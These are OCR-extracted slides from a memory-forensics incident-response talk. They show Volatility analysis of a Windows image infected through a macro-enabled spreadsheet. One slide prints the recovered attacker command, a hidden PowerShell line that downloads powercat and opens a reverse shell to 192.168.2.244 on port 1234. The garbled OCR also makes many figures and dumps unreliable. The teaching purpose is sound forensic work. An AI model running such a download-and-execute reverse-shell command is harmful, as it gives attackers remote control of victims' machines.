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62% of businesses experienced phishing and social engineering attacks in 2018. (Source: Cybint Solutions)

52% of breaches featured hacking, 28% involved malware and 32-33% included
phishing or social engineering, respectively. (Source: Verizon)

The average cost of a data breach is $3.92 million as of 2019. (Source: Security Intelligence)

The average time to identify a breach in 2019 was 206 days. (Source: 1BM)

The average lifecycle of a breach was 314 days (from the breach to containment). (Source: 1BMm)

Data breaches exposed 4.1 billion records in the first half of 2019. (Source: RiskBased)

Security breaches have increased by 11% since 2018 and 67% since 2014. (Source: Accenture)

While overall ransomware infections were down 52%, enterprise infections were up by 12% in 2018. (Source: Symantec)

The top malicious email attachment types are .doc and .dot which make up 37%, the next
highest is .exe at 19.5%. (Source: Symantec)
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Importance of Memory | Incident Response

- Every command, every file you open, every program you launch, every bit of
data you enter traverses memory at some point - creates forensic artifacts

- However, not all programs touch the filesystem directly

- You cannot rely on any tools, commands, etc. on the system - they may be
compromised and display false information.

- Passwords and encryption may also pose an issue.
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Memory Analysis

e Different then disk or using Sysinternals which
gathers data via the Windows API

* Everything in the OS traverses RAM
— Processes and threads
— Malware (including rootkit technologies)
— Network sockets, URLs, IP addresses
— Open files
— User generated content (Passwords, clipboards)
— Encryption keys
— Windows registry keys and event logs
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Memory Analysis

* Best place to identify malicious
software activity

— Study running system configuration

Memory to analyze (Windows):

e RAM - physical memory
e Hiberfil.sys - file where all of that

— |dent|fy inconsistencies information for Hibernate mode is
(contradictions) in system stored .
e Pagefile.sys - swap file used when
— Bypass packers, rootkits and other your system runs out of physical
hiding tools. memery
* Analyze and track recent activity on
the system

— Identify all recent activity in context
— Profile user or attacker activities
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What is memory-resident malware?

* AKA “fileless” malware

* Writes itself directly onto a computer’s
system memory.

* Leaves very few signs of infection, making it
difficult for traditional tools to identify —
including traditional disk imaging.

* Empire, Mimikatz designed to minimize
forensic artifact creation on a compromised
host’s disk
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Incident Response Example

* Victim receives a file on a USB drive
with an attachment called “Profit-and-
Loss-Statement.xlsm”

* The email states the file need to have
the macros enabled given it is a
dynamic spreadsheet.

* The victim opens the spreadsheet with
no issues.

* This triggers remote access to the
victim’s computer.

[ xE=| & - Profit-and-Loss-Statement.xlsm - Excel
FILE HOME ~ INSERT ~ PAGELAYOUT  FORMULAS  DATA  REVIEW  VIEW
=k =
0 5 Open Sans ® - B¢ Wrap Text General - i’-‘ Hyperlink 2 Hyperlink 3 Normal 2
& Copy -
Paste . i= 5= . . «o0 o0 Conditional Format as| Bad Good Neutral
~ ¥ Format Painter ru EE Evegeacener - § 0% 0 W3 Formatting~ Table -
Clipboard [ Font [ Alignment [ Number n Styles
Q12 - Fe
A B C D E F G H J K L M N o
il ACME Company

Pl Profit and Loss (P&L) Statement

3

4

5 |Revenue stream 1 587.0 596.3 605.8 615.4 6252 635.1 645.2 6554 665.8 676.4 667.1 6980  7,6926
6 |Revenue stream 2 145 6 147.9 150 2 152 6 1550 1575 160.0 1625 1651 167.7 1704 1731 1,907.8
7 |Returns, Refunds, Discounts (21.0) (21.3) 21.7) (22.0) (224) (22.7) 23.1) (23.5) (23.8) (24.2) (24.6) (25.0) (275.3)
4 |Total Net Revenue 71.6 722.9 7343 746.0 757.8 769.9 7821 794.5 807.1 819.9 832.9 846.1 9,325.0
9

10 |Cost of Goods Sold 269.6 2739 2182 282.7 2871 297 296.3 301.0 3058 3107 3158 3206 3,533.2
11 Gross Profit 442.0 449.0 456.1 463.3 4707 478.2 485.7 493.5 501.3 509.2 517.3 5255 57918
iz

13 |Expenses

14 | Advertising & Promotion 18.7 181 195 19.3 202 206 21.0 215 219 223 228 232 250.6
15 |Depreciation & Amortization 108.7 1109 1131 1153 176 1199 1223 1248 1272 1298 1323 1350 14568
16 |Insurance 11 11 11 12 12 12 12 13 13 13 13 14 147
17 |Maintenance 57 58 59 6.0 6.2 63 6.4 6.5 67 6.3 6.9 71 76.4
18 |Office Supplies 238 29 29 3.0 3.0 31 32 32 33 33 34 35 375
19 |Rent 58 59 60 6.2 6.3 64 65 67 6.8 6.9 71 72 T
20 |Salaries, Benefits & Wages 251.2 256.2 2613 266.5 2718 2172 2827 288.3 294.0 299.9 3058 3119  3,366.7
21 |Telecommunication 1.5 15 16 1.6 16 1.7 1.7 17 18 1.8 18 19 201
22 |Travel 23 23 24 24 25 25 26 26 27 27 28 29 308
23 |Utilities 14 14 15 15 15 15 16 16 16 17 17 17 18.8
24 |Other Expense 1 38 39 4.0 4.0 41 42 4.3 44 44 45 46 47 50.9
25 |Other Expense 2 - - - - - - - - - - - - -
26 |Total Expenses 403.0 411.0 4192 4275 436.0 4447 4535 462.5 4717 4811 4906 500 4 54011
27 |Earnings Before Interest & Taxes 3%.0 38.0 36.9 35.8 47 335 2.2 30.9 29.6 28.2 26.7 25.2 390.6
28

29 |Interest Expense 25 25 25 25 25 25 25 25 25 25 25 25 300
30 |[Earnings Before Taxes 36.5 35.5 344 333 322 310 29.7 284 271 25.7 242 27 360.6
B1

32 |Income Taxes 109 106 103 10.0 97 93 8.9 85 8.1 77 73 6.8 1082
33 |Net Earnings 255 24.8 241 23 225 2T 20.8 19.9 19.0 18.0 16.9 15.9 252.4
B34

B5
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Tools - Acquisition

* Memory capture (typically free) Tools such as Volatility, Redline, Rekall only
analyze the memory image, you must use
@ aseparate tool to collect it first.

— FTK Imager (https://accessdata.com)

— Dumplt (http://www.moonsols.com)
— Belkasoft Live RAM Capturer (https://belkasoft.com)

— Mandiant Memoryze (https://www.fireeye.com/services/freeware/memoryze.html)
— Magnet RAM Capture (https://www.magnetforensics.com(

— Winpmem (http://sourceforge.net/projects/volatility.mirror)

* These tools require local admin access to the system

* There are tools that will allow you to do this remotely (i.e. F-Response,
Evimetry, Belkasoft)
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Tools - Acquisition (FTK Imager)

File View Meode Help
Q6% = | B W 7
Evidence Tree X ||Fi|e List
Name Si
Memory Progress
Mermory Capture X
Destination: .
P | C:WUsers\Amy Walsh\Desktopimemdump. mem |
Browse ' 2
| Status: | Dumping RAM: 2GB/5GE [44%] |
Destination filename:
e men | p—
Indude pagefile
= | -
[Jcreate AD1 file |
memcapture.adil
m Capture Memory Cancel
Evidence:File System |Path|F —
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Memory Analysis

|
* Volatility framework ‘V\’
« Rekall (Google’s fork of the |
Volatility tool — part of Google’s ‘\/bw

Rapid Response (GRR) project)

* FireEye Redline

M AaNnDIANT
Redline™

Y @PeterMorin123



Memory Profile| # vol.py -f mem.vmem imageinfo

Searches for the Kernel Debugger Block (KDBG)
— Structure of memory used by the Windows kernel for debugging processes

— Analysis of this structure will allow the imageinfo plugin to determine from which operating
system the memory originated

— If we get this wrong, we will get unexpected results or no results at all

Suggested Profile(s) [ Win1lOx64 17134, WinlOx64 14393, WinlOx64 10586, WinlOx64 16299, Win2016x64 14393,
Win10x64 15063 {Inztantlated w1th WinlOx64 15@63)
AS Layerl : SkipDuplicatesAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/cases/Mem/mem.vmem)
PAE type : No PAE
DTE : 0xlab@edL
KDBG : 0xTB00ced534fOL
Number of Processors : 2
Image Type (Service Pack) : ©
KPCR for CPU @ : OxfffffB00cded4fooaL
KPCR for CPU 1 : exffffcfeold4e00086L
KUSER_SHARED DATA : axfffff78000000000L
Image date and time : 2020-10-05 19:43:21 UTC+0000
Image local date and time : 2020-10-85 12:43:21 -0700
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imageinfo
pslist
pstree
psscan
dlllist
cmdscan
notepad
iehistory
netscan
sockets
hivescan
hivelist
svcscan
mimikatz
malfind

Core Functionality of Volatility | Plugins

image identification

List system processes

view the process listing in tree form
List inactive or hidden processes
List DLLs

commands on cmd

notepad

IE history

active and terminated connections
TCP/UDP connections

physical addresses of registry hives
virtual addresses of registry hives
running services

get the passwords

hidden, malicious code analysis

psxview
connections
filescan
modules
driverscan
apihooks
memmap
memdump
procdump
modscan
hollowfind
netscan
hashdump
hivedump
clipboard

processes that try to hide themselves
network connections

files in physical memory ’
loaded kernel drivers

drivers in physical memory

hooked processes

shows which pages are memory resident
dump all memory resident pages :
dump the an exe process
hidden/unlinked drives

find evidence of process hollowing

“list” vs. “scan” plugins

“list” plugins attempt to
navigate through Windows
Kernel structures to retrieve
information like processes
(locate and walk the linked list
of _EPROCESS structures in
memory), OS handles (locating
and listing the handle, etc.)
“scan” plugins will take an
approach similar to carving the
memory for things that might
make sense when dereferenced
as specific structures.

scan for network artifacts

extract and decrypt cached domain credentials
list all subkeys in a hive recursively

recover data from users’ clipboards

.
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Process List | # vol.py -f mem.vmem --profile=Win10x64_15063 pslist

offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
Oxffffa680f7651040 System B ] 115 Q reme-- 0 2020-10-05 15:17:30 UTC+0000
OxFfffa680f86c3380 smss.exe 280 4 2 0 ------ 0 2020-10-05 15:17:30 UTC+0000
oxffffa680f8b04440 csrss.exe 392 372 11 0 0 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f8fodes8e smss.exe 460 280 QO ---ee--- 1 0 2020-10-05 15:17:31 UTC+0000 2020-10-05 15:17:31 UTC+0000
oxffffa680f8f12080 wininit.exe 468 372 | 0 0 0 2020-10-05 15:17:31 UTC+0000
Oxffffa680f87f11080 csrss.exe 476 460 12 0 1 0 2020-10-65 15:17:31 UTC+0000
oxffffa680f8f67480 winlogon.exe 564 460 3 0 b 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f8f8e080 services.exe 608 468 5 0 0 0 2020-10-05 15:17:31 UTC+0000
Oxffffa680f8f95080 1sass.exe 616 468 8 0 0 0 2020-10-05 15:17:31 UTC+0000
Oxffffac80f8fe67cd svchost.exe 712 608 21 0 0 0 2020-10-05 15:17:31 UTC+06600
oxffffa680f8fe5640 fontdrvhost.ex 720 564 5 o] 1 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f902be8e fontdrvhost.ex 728 468 5 ] 0 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f90bb7c® svchost.exe 824 608 13 ] ] 0 2020-10-05 15:17:31 UTC+0000
Oxffffa680f9117080 dwm.exe 936 564 11 0 1 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f91427cO svchost.exe 996 608 58 ] 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f9167640 svchost.exe 292 608 46 0 5] 0 2020-10-05 15:17:32 UTC+0000
Oxffffa680f916a7¢cOd svchost.exe 324 608 18 ] 0 0 2020-10-05 15:17:32 UTC+0000
Oxffffa680f918f500 svchost.exe 480 608 24 ] ¢} 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f91a6080 svchost.exe 332 608 15 0 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f767d7c0 dasHost.exe 1180 332 12 0 0 0 2020-10-05 15:17:32 UTC+0000
Oxffffa680f76c77cd svchost.exe 1276 608 21 0 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f76cd7cO svchost.exe 1328 608 7 (<] ] 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f8e54080 svchost.exe 1416 608 4 (<] 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f8e767cO svchost.exe 1424 608 9 0 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f8e947c® svchost.exe 1456 608 8 ] 0 0 2020-10-05 15:17:32 UTC+0000
IxFfffac80f80ca7cO InstallAgent.e 4500 712 7 0 1 0 2020-10-05 15:38:46 UTC+0000
Ixffffa680f9610080 InstallAgentUs 4764 712 7 0 1 0 2020-10-05 15:38:46 UTC+0000
Ixffffa680faded7c® TabTip.exe 3424 332 O ~--en--- 1 0 2020-10-05 16:31:20 UTC+0000 2020-10-05 16:31:33 UTC+0000
Ixffffa680faaa2080 SkypeHost.exe 2012 712 9 5} 1 0 2020-10-05 16:31:21 UTC+0000
IxFfffa680f9bc3080 SystemSettings 4024 712 24 0 1 0 2020-10-05 17:03:43 UTC+0000
Ixffffac80f7ee5380 audiodg.exe 4040 1328 7 0 ] 0 2020-10-05 19:37:17 UTC+0000
_Ixffffa680f9829080 sppsvc.exe - 7048 608 9 ] 0 0 2020-10-05 19:42:45 UTC+0000
Ixffffa680fa483080 SearchProtocol 2968 3316 8 0 ] 0 2020-10-05 19:42:55 UTC+0000
IxFfffa680fa53b400 SearchFilterHo 2532 3316 7 [} 0 0 2020-10-05 19:42:55 UTC+0000
IXFfffa680f96237cO EXCEL.EXE 7072 3040 18 (] 1 1 2020-10-05 19:42:57 UTC+0000
- Ixffffa680f9e3f340 powershell.exe p= 2028 7072 23 (o} 1 1 2020-10-05 19:42:58 UTC+0000
Ixffffa680fa536080 conhost.exe 3296 2028 11 (] 1 0 2020-10-05 19:42:58 UTC+0000
IxFFffa680f80cbo8O cmd.exe 3172 2028 2 0 1 1 2020-10-05 19:43:01 UTC+0000
IxFfffac80f8lec7cO cmd.exe 1968 2136 0 --ce-eu- 0 0 2020-10-05 19:43:21 UTC+0000 2020-10-05 19:43:21 UTC+0000
Ixffffa680f9b287c0 conhost.exe - 7100 1968 2 [¢] 0 0 2020-10-05 19:43:21 UTC+0000
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Process Tree | # vol.py -f mem.vmem --profile=Win10x64 15063 pstree

Name Pid PPid Thds Hnds Time
oxffffa680f8b04440:csrss.exe 392 372 11 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f8f12080:wininit.exe 468 372 1 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680f902b086: fontdrvhost.ex 728 468 5 0 2020-10-05 15:17:31 UTC+0000
. oxffffa680f8f8e080:services.exe 608 468 5 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680f8ed37cO:spoolsv.exe 1548 608 12 0 2020-10-05 15:17:32 UTC+0000
. Oxffffa680f8e767cO:svchost.exe 1424 608 9 0 2020-10-05 15:17:32 UTC+0000
. Oxffffa680f8c567cO:vmtoolsd.exe 2136 608 11 0 2020-10-05 15:17:34 UTC+0000
... Oxffffa68ef8lec7cO:cmd.exe 1968 2136 L 2020-10-05 19:43:21 UTC+0000
.... OXffffa680f9b287c0:conhost.exe 7100 1968 2 0 2020-10-05 19:43:21 UTC+0000
. Oxffffa680f96497cO:NisSrv.exe 3148 608 9 0 2020-10-05 15:17:36 UTC+0000
.. Oxffffa680f8e947cO:svchost.exe 1456 608 8 0 2020-10-05 15:17:32 UTC+0000
.. Oxffffa680f9167640:svchost.exe 292 608 46 0 2020-10-05 15:17:32 UTC+0000
.. Oxffffa680f8c377c0:SecurityHealth 2076 608 5 0 2020-10-05 15:17:33 UTC+0000
. Oxffffa680f76cd7cO:svchost.exe 1328 608 7 0 2020-10-05 15:17:32 UTC+0000
... Oxffffa680f7ee5380:audiodg.exe 4040 1328 7 0 2020-10-05 19:37:17 UTC+0000
.. oxffffa680f8e54080:svchost.exe 1416 608 4 0 2020-10-05 15:17:32 UTC+0000
.. Oxffffa680f9957300:svchost.exe 3548 608 14 0 2020-10-05 15:18:45 UTC+0000
.. Oxffffa680f90bb7co:svchost.exe 824 608 13 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680fa3026c0:SearchIndexer. 3316 608 17 0 2020-10-05 15:25:20 UTC+0000
... Oxffffa680fa53b400:SearchFilterHo 2532 3316 7 0 2020-10-05 19:42:55 UTC+0000
... Oxffffa680fa483080:SearchProtocol 2968 3316 8 0 2020-10-05 19:42:55 UTC+0000
. Oxffffa680f918f500:svchost.exe 480 608 24 0 2020-10-05 15:17:32 UTC+0000
.. Oxffffa680f916a7c0:svchost.exe 324 608 18 0 2020-10-05 15:17:32 UTC+0000
. oxffffa68of8fe67cO:svchost.exe 712 608 21 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680f80ca7cO:InstallAgent.e 4500 712 7 0 2020-10-05 15:38:46 UTC+0000
. Oxffffa680fobfc7cO:Searchul.exe 2200 712 34 0 2020-10-05 15:18:47 UTC+0000
Oxffffa680f7651040:System 4 0 115 0 2020-10-05 15:17:30 UTC+0000
. Oxffffa680f8c81040:MemCompression 2264 - 18 0 2020-16-05 15:17:34 UTC+0000
. Oxffffa680f86c3380:smss.exe 280 9 2 0 2020-16-65 15:17:30 UTC+0000
. Oxffffa680f8f0do80:smss.exe 460 280 0 ------ 2020-10-05 15:17:31 UTC+0000
. oxffffa680f8f67480:winlogon.exe 564 460 3 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680f9117080:dwm.exe 936 564 11 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f8fe5640: fontdrvhost.ex 720 564 5 0 2020-10-05 15:17:31 UTC+0000
«... Oxffffa680f99927c0O:userinit.exe 3772 564 0 ------ 2020-10-05 15:18:45 UTC+0000
..... oxffffa680f99b4a7cO:explorer.exe 3040 3772 87 0 2020-10-05 15:18:45 UTC+0000
veeo T OXFFffa680f88d57cO:MSASCuiL.exe = S04 3040 3 0 2020-10-05 15:18:59 UTC+0000
T OXTTTT3680TYS531CUONEDT tVE.exe | SL1v B U 2020-10-0 TI9:0Z U U000
.. ). Oxffffa680f96237cO:EXCEL.EXE 7072 3040 18 0 2020-10-05 19:42:57 UTC+0000
...v.. Oxffffa68of9e3f340:powershell.exe = 2028 7072 23 0 2020-10-05 19:42:58 UTC+0000
vevef... OXFFffa680f80cb080O:cmd.exe 3172 2028 2 0 2020-10-05 19:43:01 UTC+0000
Oxffffa6R0fas536086:conhost exe 3296 2028 11 0 2020-10-05 19:42:58 UTC:0060
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Process Tracing | # vol.py -f mem.vmem --profile=Win10x64_ 15063 psscan --
output=dot --output-file=file.dot

1 Home Desktop cases Mem Dot Files

-

Recent

Home

OpenWith XDot —— 7072 | EXCEL.EXE | running 904 | MSASCuilL.exe | n

Open With Other Application

Desktop

Documents

Downloads

'

2028 | powershell.exe | running

N

3296 | conhost.exe | running 3172 | cmd.exe | running

Music

Pictures

Videos

Trash

Other Locations
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Network List| # vol.py -f mem.vmem --profile=Win10x64 15063 netscan

pbffset(P) Proto Local Address Foreign Address State Pid owner Created
0xa680f764b010 UDPv4 192.168.2.234:58110 *o¥ 1780 svchost.exe 2020-10-05 16:31:24 UTC+0000
0xa680f764d400 UDPv6 fe80::3901:8969:3008:991:58108 *:* 1780 svchost.exe 2020-10-05 16:31:24 UTC+0000
0xa680f7846ec UDPv4 0.0.0.0:3702 HiH 1780 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7846ec UDPv6 113702 1780 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f764d0bo TCPv4 0.0.0.0:49666 LISTENING 324 svchost.exe 2020-160-05 15:17:32 UTC+0000
0xa680f7664430 TCPv4 0.0.0.0:49665 LISTENING 996 svchost.exe 2020-10-05 15:17:32 UTC+0000
0xa680f7664a80 TCPv4 0.0.0.0:49665 LISTENING 996 svchost.exe 2020-10-05 15:17:32 UTC+0000
Oxa680f7664a80 TCPv6 1::49665 LISTENING 996 svchost.exe 2020-10-85 15:17:32 UTC+0000
0xa680f7687a00 TCPv4 0.0.0.0:49666 LISTENING 324 svchost.exe 2020-10-05 15:17:32 UTC+0000
0xa680f7687a00 TCPv6 $::49666 LISTENING 324 svchost.exe 2020-10-05 15:17:32 UTC+0000
0xa680f7a10840 UDPv4 192.168.2.234:137 4 Systenm 2020-10-05 15:17:32 UTC+0000
0xa680f7e0aa60 UDPv4 0.0.0.0:3702 1780 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7e0aa60 UDPv6 1113702 1780 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7e0bo0e UDPv4 0.0.0.0:5353 1276 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7ebd6an UDPv4 0.0.0.0:0 HiH 1276 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7ebd6an UDPv6 11:0 FiH 1276 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7ee1840 UDPv4 0.0.0.0:3702 *o¥ 1180 dasHost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7ee1840 UDPv6 1113702 *o¥ 1180 dasHost.exe 2020-10-05 19:43:21 UTC+0000
Oxa680f7ed5cco TCPv4 192.168.2.234:51498 173.194.175.109:993 CLOSED 7072 EXCEL.EXE
0xa680f7fboo1e TCPv4 192.168.2.234:51315 40.100.138.130:443 CLOSED 2200 SearchUI.exe
0xa680f7ffo640 UDPv4 0.0.0.0:58113 HiH 1180 dasHost.exe 2020-10-05 16:31:24 UTC+0000
0xa680f7f 9640 UDPv6 $::58113 *¥ 1180 dasHost.exe 2020-10-05 16:31:24 UTC+0000
0xa680f7fffb70 UDPv4 0.0.0.0:3702 *o¥ 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7fffb70 UDPv6 1113702 ok 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f804e010 UDPv4 0.0.0.0:0 HiH 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f804e010 UDPv6 11:0 HiH 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f80332a0 TCPv4 192.168.2.234:50897 23.36.89.25:443 CLOSED 996 svchost.exe
0xa680f80acO10 UDPv4 0.0.0.0:3702 *o¥ 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f80c8ccO TCPv4 192.168.2.234:50585 8.252.241.254:80 CLOSED 996 svchost.exe
Oxa680T812e9dO TCPv4 192.168.2.234:50909 72.21.81.240:80 CLOSED 996 svchost.exe
0xa680f8161cce TCPv4 192.168.2.234:50509 205.185.216.10:80 CLOSED 996 svchost.exe
0xa680f81a6010 UDPv4 0.0.0.0:59267 HiH 292 svchost.exe 2020-10-05 16:31:27 UTC+0000
0xa680781a6010 UDPv6 1:1:59267 L 292 svchost.exe 2020-10-05 16:31:27 UTC+0000
0xa680f81ada30 UDPv4 0.0.0.0:0 ok 2028 powershell.exe 2020-10-05 19:43:00 UTC+0000
0xa680f83506b0 UDPv6 ::1:58109 *o¥ 1780 svchost.exe 2020-10-05 16:31:24 UTC+0000
bxaéBﬂfBladaSﬂ UDPv4 0.0.0.0:0 L 2028 powershell.exe
Oxa680f8e8cech UDPv4 0.0.0.0:0 HoH 2028 powershell.exe
OxacB80f8eBcech UDPvo :::0 %ok 2028 powershell.exe
Oxa6806f9373310 UDPv4 0.0.0.0:0 ok 2028 powershell.exe
0xa6807f9373310 UDPv6 11:0 e 2028 powershell.exe 19:43:80 UTC+8000
Bxa680f9%9a5ecch TCPv4 192.168.2.234:51565 192.168.2.244:1234 CLOSED 2028 powershell.exe
Oxa680fa5ab0ed UDPv4 0.0.0.0:0 *rk 2028 powershell.exe |2020-10-05 19:43:00 UTC+0000
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Command Line | # vol.py -f mem.vmem --profile=Win10x64_ 15063 cmdline -p 2028

%k 3k 3k 3k 3k 3k 3k ok sk 3k 5k 5k 3k sk sk 5k 5k 3k sk >k 5k 5k sk sk 5k 5k 3k sk >k 5k 5k sk sk 5k 5k 3k %k >k 5k 5k sk sk >k 5k %k %k sk 5k 5k 5k %k >k 3k 5k sk %k >k 5k %k %k %k >k 5k %k %k %k >k %k %k k k ok

powershell.exe pid: 2028
Command line : powershell.exe -WindowsStyle Hidden -c IEX(New-Object
System.Net.WebClient).DownloadString(‘http://192.168.2.244/powercat.psl1');powercat -c 192.168.2.244 -p 1234 -e cmd

Reverse Shell to Victim

* PowerShell Downloading a PS script called Powercat
* Executing a reverse shell to the same host on port 1234
* Bypassed most AV tools when tested

Retrieval of the Powercat PS1
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Network Scanning and Process Tree

# vol.py -f mem.vmem --profile=Win10x64_15063 netscan
# vol.py -f mem.vmem --profile=Winl@xtd 15863 netscan

Volatility Foundation Volatility Framework 2.6.1

Offset(P) Local Address Foreign Address Pid
Bxabdef764bole 172.16.176.143:1854 185.193.98.2508:80 856
B@xabBef76dd4ee 8.0.8.0:1056 185.193.98.2508:80 856

# vol.py -f mem.vmem --profile=Win10x64_ 15063 pstree

# vol.py -f mem.vmem --profile=Winl@x64 15863 pstree
Volatility Foundation Volatility Framework 2.6.1
Mame Pid PPid Thds Hnds Time
@xfTabd88+7651840:5ystem 4 a 58 379 2020-10-95 15:17:38 UTC+2000
. OxffffabB@f86c3380:smss.exe 544 4 3 21 2820-18-85 15:17:38 UTC+oe8e
. BxffffabB8@f8f67480:winlogon.exe 632 544 24 536 2020-18-85 15:17:31 UTC+208600
. BxfFffab8e+9117880:1lsass.exe 683 632 21 485 2829-10-85 15:17:31 UTC+oe8e
. Bxffffabd0f3fe56d0: services.exe 676 632 16 288 2020-18-85 15:17:31 UTC+20868
. BxffffabB8@f99927c@:cmd. exe 124 676 g ----- 2020-18-85 15:18:45 UTC+2008
..... @xfffabB88+99b47cd:svchost.exe 856 676 29 336 2020-18-05 15:18:45 UTC+20800
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IP Indicator Lookup

Analysis Date 2020-10-06 11:26:17

* We can see that svchost.exe is o o
the process which is making
connections with 185.193.90.250 IP Address 185.193.90.250 Find Sites | IP Whos
instead of an Internet Browser

* http://www.ipvoid.com/scan/185
.193.90.250/ 5P S5 Nt

Continent Europe

Country Code = (RU) Russia

Latitude / Longitude 55.7386 / 37.6068 Google Map
City Unknown

Region Unknown
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Process Dump| # vol.py -f mem.vmem --profile=Win10x64_15063 procdump -p PID

--dump-dir=./

* We can then dump the process ()
we know is calling out = ——
svchost.exe to a file — '

e SHA/MD5 the dump file or
upload the .exe itself -

* |Input it into VirusTotal B -

* Voila! Zeus variant CCCCCCC
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Registry UserAssist | # vol.py -f mem.vmem --profile=Win10x64_ 15063 userassist

GUI-based programs launched from the desktop are tracked in the launcher on a Windows System

x00000630 df 9a 90 77 00 00 00 00 b2 00 65 00 00 00 80 00  ...W.........n.. Focus Count: 182
x00000640 01 60 0O 60 O 00 60 0O 00 0 6O 00 Time Focused: 6:56:58,748000

Last updated: 2020-88-89 11:15:33 UTC+0000
EG_BINARY %windir¥\system3z\displayswitch.exe Raw Data:
ount: 13 Ix00000000 00 00 00 00 41 00 00 00 b6 00 00 00 88 bf 7d 01  ....A.......uils
ocus Count: 19 IxBOEEEO10 66 00 86 bf 00 00 80 bf @0 60 80 bf MO 00 80 bf  ................
ime Focused: 0:06:20.500000 Ix00000020 06 00 80 bf 00 00 80 bf 00 60 80 bf 00 00 80 bf .......cvvvvuuass
ast updated: 2020-06-14 11:36:46 UTC+0000 Ix00000830 00 00 80 bf 00 ©8 80 bf ff ff ff ff 90 ac 23 66  .............. #f
aw Data: Ix00000040 3e 6e d6 61 66 60 00 60 Y | PR
x00AOOE0E 00 60 00 00 6d 6O 60 68 13 66 6P 00 60 cc 65 60
x00REEE18 00 60 80 bf OO 00 80 bf 00 A0 80 bf 80 00 80 bf  ......cvvvvrunes REG_BINARY C:\Users\admin\Downloads\vlc-3.0.10-win32.exe :
x00000020 00 00 80 bf 60 00 80 bf 00 60 80 bf 00 00 80 bf  .......covvuvnen Count: 0
X00000O30 00 00 80 bf 00 00 80 bf ff ff ff ff a0 ff 82 16  ....cvvvvvvnunss Focus Count: 8
x00000040 40 42 d6 01 00 60 00 00 @...... Time Focused: 0:01:45.630000

Last updated: 1970-01-01 00:00:00 UTC+0000
EG_BINAR %windir¥\system32\calc.exe : Raw Data:
ount: T IXEO00E000 66 00 A0 OO 6O 00 00 A0 B8 60 00 00 aa 93 01 00  .....iieiiiaaans
ocus Count: 17 Ix00000010 66 00 80 bf 90 00 80 bf ©@ 00 80 bf 00 @0 80 bf ............uun.
ime Focused: D©:05:40.500000 IX0O0000020 66 00 80 bf 00 00 80 bf ©0 60 80 bf 00 00 80 bf  ............u...
ast updated: 2020-06-14 11:36:46 UTC+0080 ox00000030 00 00 80 bf eo ee se bf ff ff ff ff @0 60 GO 8O  ................
aw Data: Ix00000840 00 00 00 90 00 08 00 00 e .
x00000600 00 60 00 60 Bc 60 66 0O 11 66 6O 00 20 30 65 60 .0.
xB00EAE10 00 60 80 bf 00 00 80 bf 80 @0 80 bf 60 00 80 bf  ................ REG_BINARY %ProgramFiles%\VideoLAN\VLC\vlc.exe
00000620 00 60 BO bf A0 60 80 bf 00 @0 80 bf @0 00 80 bF  ................ count: 36
x00000030 06 00 86 bf 00 00 80 bf ff ff ff ff a0 ff 8e 16  ................ fFocus Count: 55
x00000040 48 42 d6 01 06 60 80 0O @...... Time Focused: 1 day, 8:37:39.969000

Last updated: 2020-08-09 00:19:26 UTC+0000
EG_BINARY Microsoft.Windows.5tickyNotes : Raw Data:
Sunt: 11 Ix00000000 06 00 00 66 24 00 00 0O 37 00 00 00 Od 4a 00 07  ....5...7....30..
ocus Count: 15 Ix00000016 06 00 80 bf 00 ©0 80 bf 00 68 86 bf 60 60 80 bf ................
{me Focused: ©:05:00.500000 IX00000020 66 00 80 bf 60 0@ 80 bf ©6 60 80 bf MO 00 80 bf .......c...ouu..
ast updated: 2020-06-14 11:36:46 UTC+00008 Ix00000030 00 00 80 bf 00 00 80 bf ff ff ff ff 90 3b c6 bd .. vvvviuunnnn He
aw Data: IXBOEOE040 e2 6d d6 ©1 00 OO 66 00 . TR
x00HEOE0EE 0O 60 0O 60 6b 60 60 08 Of 00 0O 60 €0 93 84 B0 ........eeainnn. .
xBEAEAE10 0O 60 86 bf 08 60 80 bf 60 0 80 bf 60 00 8O bf  ................ REG_BINARY swindir®\system32\wuauclt.exe :
x00000020 60 80 86 bf 00 ©0 80 bf 00 00 80 bf 60 080 80 bf  ................ Count: 0
x00000030 00 00 80 bf 00 00 80 bf ff ff ff ff a0 ff e 16  ..........c.cc.. focus Count: 4
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Registry Shellbags | # vol.py -f mem.vmem --profile=Win10x64 15063 shellbags

Which folders were accessed on the local machine, the network, and/or removable devices.

Registry: Z\??\C:\Users“Amy Walsh\AppData\Local‘\Microsoft\Windows\UsrClass.dat
Key: Local Settings\Software\Microsoft\Windows%S5hell\BagMRUY141
Last updated: 20828-18-85 19:37:28 UTC+B008

Value Mru File Name Modified Date Create Date

